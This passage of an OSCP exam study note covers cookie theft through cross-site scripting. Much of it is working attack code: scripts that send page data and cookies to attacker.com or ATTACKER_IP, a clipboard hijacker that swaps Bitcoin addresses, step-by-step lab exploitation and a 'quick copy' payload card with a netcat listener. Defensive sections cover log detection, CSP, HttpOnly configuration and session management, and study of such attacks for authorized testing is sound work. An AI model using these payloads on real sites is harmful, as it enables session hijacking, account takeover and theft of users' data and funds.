for (var pair of formData.entries()) {
allData['form_' + index][pair[0]] = pair[1];
}
});
// Extract page content
allData['page_title'] = document.title;
allData['page_url'] = window.location.href;
// Exfiltrate
var data = JSON.stringify(allData);
new Image().src = 'http://attacker.com/dom_theft.php?d=' + encodeURIComponent(data);
})();
</script>
6. Redirect to Attacker-Controlled Page
<script>
// Redirect victim to attacker's page, preserving session
window.location.href = 'http://attacker.com/phishing?redirect=http://target.com/admin';
</script>
7. Clipboard Hijacking
<script>
(function() {
var attackerWallet = 'ATTACKER_WALLET_ADDRESS';
setInterval(function() {
var clipboardData = navigator.clipboard;
if (clipboardData) {
clipboardData.readText().then(function(text) {
if (text && text.match(/^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/)) {
// Looks like a Bitcoin address
clipboardData.writeText(attackerWallet);
new Image().src = 'http://attacker.com/clipboard.php?stolen=' + encodeURIComponent(text) + '&replaced=' + attackerWallet;
}
}).catch(function() {});
}
}, 1000);
})();
</script>
Detection Methodology
How to Detect Cookie Theft Attempts
1. Server Access Log Analysis
Monitor for unusual query parameters:
# Search for cookie exfiltration patterns
grep -E "(cookie|session|phpsessid|jsessionid)=.*[a-zA-Z0-9]{20,}" access.log
# Search for base64 encoded data
grep -E "[?&]d=[A-Za-z0-9+/=]{20,}" access.log
# Search for unusual image requests
grep "GET /.*\.(gif|png|jpg)" access.log | grep -E "[?&](c|cookie|data)="
2. Browser Console Monitoring
// Monitor for suspicious script execution
window.addEventListener('error', function(e) {
console.warn('Script error detected:', e.filename, e.lineno);
});
// Monitor for new image creation
var originalImage = window.Image;
window.Image = function() {
var img = new originalImage();
Object.defineProperty(img, 'src', {
set: function(value) {
if (value.indexOf('attacker') !== -1 || value.indexOf('evil') !== -1) {
console.warn('Suspicious image src:', value);
}
this._src = value;
},
get: function() { return this._src; }
});
return img;
};
3. CSP Violation Reports
Set up CSP reporting endpoint:
Content-Security-Policy: default-src 'self'; report-uri /csp-report
# csp_report_handler.py
from flask import request, jsonify
@app.route('/csp-report', methods=['POST'])
def csp_report():
report = request.json.get('csp-report', {})
# Log violation
print(f"CSP Violation: {report}")
print(f" Document: {report.get('document-uri')}")
print(f" Violated: {report.get('violated-directive')}")
print(f" Blocked: {report.get('blocked-uri')}")
print(f" Sample: {report.get('script-sample')}")
return jsonify({"status": "received"})
4. Network Traffic Analysis
Monitor for:
- Unusual outbound requests to unknown domains
- Large data transfers in image requests
- Base64 encoded parameters in URLs
- Requests to known malicious IPs/domains
5. Cookie Attribute Auditing
Regularly audit cookie settings:
import requests
def audit_cookie_security(url):
"""Check cookie security attributes"""
response = requests.get(url, allow_redirects=False)
set_cookie = response.headers.get('Set-Cookie', '')
checks = {
'HttpOnly': 'HttpOnly' in set_cookie,
'Secure': 'Secure' in set_cookie,
'SameSite': 'SameSite' in set_cookie,
'Expires/Max-Age': 'Expires' in set_cookie or 'Max-Age' in set_cookie,
'Path': 'Path=' in set_cookie,
}
print(f"\nCookie Security Audit for {url}")
print("=" * 50)
for check, passed in checks.items():
status = "PASS" if passed else "FAIL"
print(f" {check:20} [{status}]")
return checks
Mitigation Strategies
1. Set HttpOnly Flag (PRIMARY DEFENSE)
Server Configuration Examples:
Apache
# httpd.conf or .htaccess
Header edit Set-Cookie ^(.*)$ "$1; HttpOnly; Secure; SameSite=Strict"
Nginx
# nginx.conf
add_header Set-Cookie "session_id=...; HttpOnly; Secure; SameSite=Strict";
PHP
// php.ini
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = "Strict"
// Or in code
session_start();
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
Java (Tomcat)
<!-- web.xml -->
<session-config>
<cookie-config>
<http-only>true</http-only>
<secure>true</secure>
</cookie-config>
</session-config>
Node.js (Express)
const session = require('express-session');
app.use(session({
secret: 'your-secret-key',
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true, // Require HTTPS
sameSite: 'strict',
maxAge: 3600000 // 1 hour
}
}));
Python (Flask)
from flask import Flask
app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
Python (Django)
# settings.py
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Lax'
2. Implement Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'
CSP Levels:
| Level | Policy | Protection |
|---|---|---|
| Basic | default-src 'self' |
Blocks external resources |
| Medium | default-src 'self'; script-src 'self' |
Blocks inline and external scripts |
| Strong | default-src 'self'; script-src 'self'; object-src 'none' |
Comprehensive protection |
| Strict | script-src 'strict-dynamic' 'nonce-...' |
Nonce-based script allowlisting |
3. Input Validation and Output Encoding
Server-Side Validation:
import html
import re
def sanitize_input(user_input):
"""Sanitize user input to prevent XSS"""
# HTML encode
sanitized = html.escape(user_input, quote=True)
# Remove dangerous patterns
sanitized = re.sub(r'<script.*?>.*?</script>', '', sanitized, flags=re.IGNORECASE | re.DOTALL)
sanitized = re.sub(r'on\w+\s*=', '', sanitized, flags=re.IGNORECASE)
return sanitized
Output Encoding Contexts:
| Context | Encoding Method | Example |
|---|---|---|
| HTML Body | HTML entity encoding | <script> |
| HTML Attribute | Attribute encoding | " |
| JavaScript | JavaScript encoding | \u003c |
| CSS | CSS encoding | \003c |
| URL | URL encoding | %3C |
4. Use Modern Authentication Mechanisms
Token-Based Authentication (JWT)
// Store JWT in memory, not in cookies
let accessToken = null;
// After login
async function login(credentials) {
const response = await fetch('/api/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(credentials)
});
const data = await response.json();
accessToken = data.token;
// Store in memory only (lost on page refresh - implement refresh token)
// Or use localStorage with understanding of XSS risks
}
// Include token in requests
async function apiRequest(endpoint) {
return fetch(endpoint, {
headers: {
'Authorization': `Bearer ${accessToken}`
}
});
}
Refresh Token Pattern
Access Token: Short-lived, stored in memory
Refresh Token: Long-lived, stored in HttpOnly cookie
Flow:
1. Login -> Receive Access Token + Refresh Token (HttpOnly cookie)
2. Use Access Token for API calls
3. When Access Token expires, use Refresh Token to get new Access Token
4. If XSS occurs, Access Token is stolen but expires quickly
5. Refresh Token is HttpOnly, cannot be stolen via XSS
5. Implement Proper Session Management
import secrets
import time
class SecureSessionManager:
def __init__(self):
self.sessions = {}
self.session_timeout = 1800 # 30 minutes
def create_session(self, user_id):
"""Create a new secure session"""
session_id = secrets.token_urlsafe(32)
self.sessions[session_id] = {
'user_id': user_id,
'created_at': time.time(),
'last_activity': time.time(),
'ip_address': None, # Set on first request
'user_agent': None # Set on first request
}
return session_id
def validate_session(self, session_id, ip_address, user_agent):
"""Validate session with binding"""
if session_id not in self.sessions:
return None
session = self.sessions[session_id]
# Check expiration
if time.time() - session['last_activity'] > self.session_timeout:
del self.sessions[session_id]
return None
# Bind to IP and User-Agent (optional, may cause issues with load balancers)
if session['ip_address'] and session['ip_address'] != ip_address:
return None
# Update last activity
session['last_activity'] = time.time()
return session
def regenerate_session(self, old_session_id, user_id):
"""Regenerate session ID (after login, privilege change)"""
if old_session_id in self.sessions:
del self.sessions[old_session_id]
return self.create_session(user_id)
6. Regular Security Testing
- Automated Scanning: Use tools like OWASP ZAP, Burp Suite
- Manual Testing: Test all input vectors for XSS
- Code Review: Review code for proper output encoding
- Dependency Auditing: Check for vulnerable libraries
OSCP Exam Tips and Lab Scenarios
Common OSCP Scenarios
Scenario 1: Reflected XSS to Cookie Theft
Machine: DVWA, bWAPP, or custom web app
Steps:
- Identify reflected XSS parameter
- Verify cookie is not HttpOnly
- Set up cookie collector on attacker machine
- Craft payload with your IP
- Trick victim (or use your own browser) to execute payload
- Capture cookie and import to browser
# Step 1: Find XSS
http://target/vuln.php?search=<script>alert(1)</script>
# Step 2: Check cookies
http://target/vuln.php?search=<script>document.write(document.cookie)</script>
# Step 3-4: Exfiltrate
http://target/vuln.php?search=<script>new Image().src='http://<ATTACKER_IP>:8080/?c='+document.cookie</script>
# Step 5: Start collector
python3 cookie_collector.py 8080
# Step 6: Use stolen cookie in browser
# Import cookie using EditThisCookie or similar extension
Scenario 2: Stored XSS in Forum/Comments
Machine: Mutillidae, WebGoat, or custom forum app
Steps:
- Find comment/forum input
- Inject persistent XSS payload
- Wait for admin to view the page
- Capture admin’s cookie
- Use admin cookie to access admin panel
<!-- Stored XSS payload -->
<script>
new Image().src = 'http://<ATTACKER_IP>:8080/admin_cookie?c=' + document.cookie;
</script>
Scenario 3: DOM-Based XSS
Machine: Custom application with client-side routing
Steps:
- Identify DOM manipulation vulnerability
- Craft URL with malicious fragment or parameter
- Phish victim to visit malicious URL
- Capture cookie
# Malicious URL
http://target/app.html#<script>new Image().src='http://<ATTACKER_IP>:8080/?c='+document.cookie</script>
# Or via parameter
http://target/app.html?tab=<script>new Image().src='http://<ATTACKER_IP>:8080/?c='+document.cookie</script>
OSCP-Specific Tips
Tip 1: Always Check HttpOnly First
// Quick check in browser console or via XSS
document.cookie
If empty or missing session cookie, HttpOnly is set. Switch to alternative techniques.
Tip 2: Use Your Attack Box IP Correctly
// Use the correct interface IP
// Check with: ip a (Linux) or ipconfig (Windows)
new Image().src = 'http://10.10.14.X:8080/?c='+document.cookie;
Tip 3: Cookie Import Methods
Method 1: Browser DevTools
1. Open DevTools (F12)
2. Go to Application/Storage tab
3. Select Cookies
4. Add/Edit cookie manually
Method 2: curl
curl -b "session_id=stolen_cookie_value" http://target.com/admin
Method 3: Python Requests
import requests
r = requests.get("http://target.com/admin", cookies={"session_id": "stolen_cookie_value"})
print(r.text)
Tip 4: Handle URL Encoding
// Always encode cookie data
new Image().src = 'http://<ATTACKER_IP>:8080/?c=' + encodeURIComponent(document.cookie);
Tip 5: Use Multiple Exfiltration Methods
<script>
// Primary method
try {
new Image().src = 'http://<ATTACKER_IP>:8080/?c='+encodeURIComponent(document.cookie);
} catch(e) {}
// Fallback method
try {
var s = document.createElement('script');
s.src = 'http://<ATTACKER_IP>:8080/steal.js?c='+encodeURIComponent(document.cookie);
document.head.appendChild(s);
} catch(e) {}
</script>
Tip 6: Note the Cookie in Your Report
## Cookie Theft via XSS
### Vulnerability
- **Type**: Reflected XSS
- **Location**: `/search.php?q=` parameter
- **Impact**: Session hijacking via cookie theft
### Evidence
- Cookie `PHPSESSID` is not HttpOnly
- Successfully exfiltrated admin session cookie
- Gained access to admin panel using stolen cookie
### Proof
- Screenshot of cookie in collector
- Screenshot of admin panel access with stolen cookie
Common Lab Machines with Cookie Theft
| Machine | Vulnerability Type | Cookie Name | Notes |
|---|---|---|---|
| DVWA (Low/Medium) | Reflected XSS | PHPSESSID |
Easy target for practice |
| bWAPP | Multiple XSS types | PHPSESSID |
Many XSS vectors |
| Mutillidae | Stored XSS | PHPSESSID |
Forum/comments XSS |
| WebGoat | Various | Custom | Educational platform |
| Jack of All Trades | Reflected XSS | Custom | OSCP-like scenario |
| Blinder | Stored XSS | Custom | Blog platform |
Practice Exercises
Exercise 1: Basic Cookie Theft
Objective: Set up a cookie collector and steal a cookie from a vulnerable application.
Steps:
- Deploy the Python cookie collector
- Find a vulnerable parameter in DVWA or similar
- Craft and execute
- Verify cookie capture
- Use the cookie to access the application
Exercise 2: HttpOnly Bypass
Objective: When HttpOnly is set, perform actions on behalf of the user.
Steps:
- Find XSS vulnerability with HttpOnly cookie
- Use XSS to change user’s email address
- Use XSS to create a new admin user
- Document the impact
Exercise 3: Advanced Exfiltration
Objective: Implement multiple exfiltration methods with fallbacks.
Steps:
- Create payload with sendBeacon, Fetch, and Image fallbacks
- Test each method
- Verify which methods work in different scenarios
- Document findings
Exercise 4: Cookie Security Audit
Objective: Audit a web application’s cookie security.
Steps:
- Identify all cookies set by the application
- Check each cookie for HttpOnly, Secure, and SameSite
- Document findings
- Provide remediation recommendations
References and Further Reading
OWASP Resources
PortSwigger Web Security Academy
Books
- The Web Application Hacker’s Handbook - Dafydd Stuttard, Marcus Pinto
- Real-World Bug Hunting - Peter Yaworski
Tools
- Burp Suite Professional
- OWASP ZAP
- EditThisCookie (Browser Extension)
- Cookie-Editor (Browser Extension)
Quick Reference Card
Cookie Theft Payloads (Quick Copy)
// Basic Image Tag
new Image().src='http://ATTACKER_IP:8080/?c='+document.cookie
// With Encoding
new Image().src='http://ATTACKER_IP:8080/?c='+encodeURIComponent(document.cookie)
// Fetch API
fetch('http://ATTACKER_IP:8080/',{method:'POST',mode:'no-cors',body:'c='+document.cookie})
// sendBeacon
navigator.sendBeacon('http://ATTACKER_IP:8080/',new FormData([['c',document.cookie]]))
// XMLHttpRequest
var x=new XMLHttpRequest();x.open('POST','http://ATTACKER_IP:8080/',true);x.send('c='+document.cookie)
Collector Commands
# Python collector
python3 cookie_collector.py 8080
# Netcat listener
nc -lvnp 8080
# Python one-liner
python3 -c "import http.server;http.server.test()"
Cookie Import
# curl
curl -b "session_id=VALUE" http://target.com/admin
# Python
python3 -c "import requests;print(requests.get('http://target.com/admin',cookies={'session_id':'VALUE'}).text)"
This study note is designed for OSCP exam preparation. Always use these techniques only in authorized environments and lab machines. Unauthorized access to computer systems is illegal.
Last Updated: 2026-09-01 Topic: Cookie Theft via XSS | Chapter 08: Client-Side Attacks | OSCP